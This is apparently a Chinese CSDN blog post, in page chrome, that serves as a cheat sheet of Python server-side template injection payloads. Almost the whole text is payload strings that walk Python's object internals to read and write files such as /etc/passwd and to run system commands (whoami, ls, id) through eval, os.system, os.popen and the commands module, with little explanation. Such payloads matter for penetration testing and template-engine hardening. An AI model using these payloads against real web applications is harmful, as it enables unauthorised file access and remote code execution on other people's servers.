SSTI(模板注入)漏洞利用

这篇博客介绍了Python中四种不同的文件读取方法,包括利用.index()、file类、_frozen_importlib_external.FileLoader类和通过函数解析的方式。同时,文章详细阐述了三种命令执行的实现方式,分别利用eval、warnings.catch_warnings以及commands模块。这些技术深入探讨了Python对文件操作和系统命令的底层使用。
摘要由CSDN通过智能技术生成

读写文件

读文件:

方法一
利用.index()模块

''.__class__.__mro__[2].__subclasses__().index(file)

方法二:

flie类:(在字符串的所属对象种获取str的父类,在其object父类种查找其所有子类,第41个为file类)

''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read()

方法三:
字模块利用
_frozen_importlib_external.FileLoader类:(前置查询一样,第91个类)

''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>")

方法四:
通过函数解析->基本类->基本类子类->重载类->引用->查找可用函数

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()   

写文件:

方法一:

''.__class__.__mro__[2].__subclasses__()[166].__init__.__globals__['__builtins__']['file']('/etc/passwd').write()

存在的子模块可以通过 .index() 来进行查询,如果存在的话返回索引,直接调用即可。

方法二:

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').write() 

命令执行

第一类

利用eval 进行命令执行。

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

第二类

利用warnings.catch_warnings 进行命令执行

首先,查看 warnings.catch_warnings 方法的位置:

[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

查看 linecatch 的位置:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')

查找 os 模块的位置:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')

查找 system 方法的位置:

[].__class__.__base__.__subclasses__()[166].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')

调用 system 方法:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')

第三类

利用 commands 进行命令执行。

1.利用getstatusoutput模块

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

2.利用system模块

{}.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

3.利用popen模块

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C1yas0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值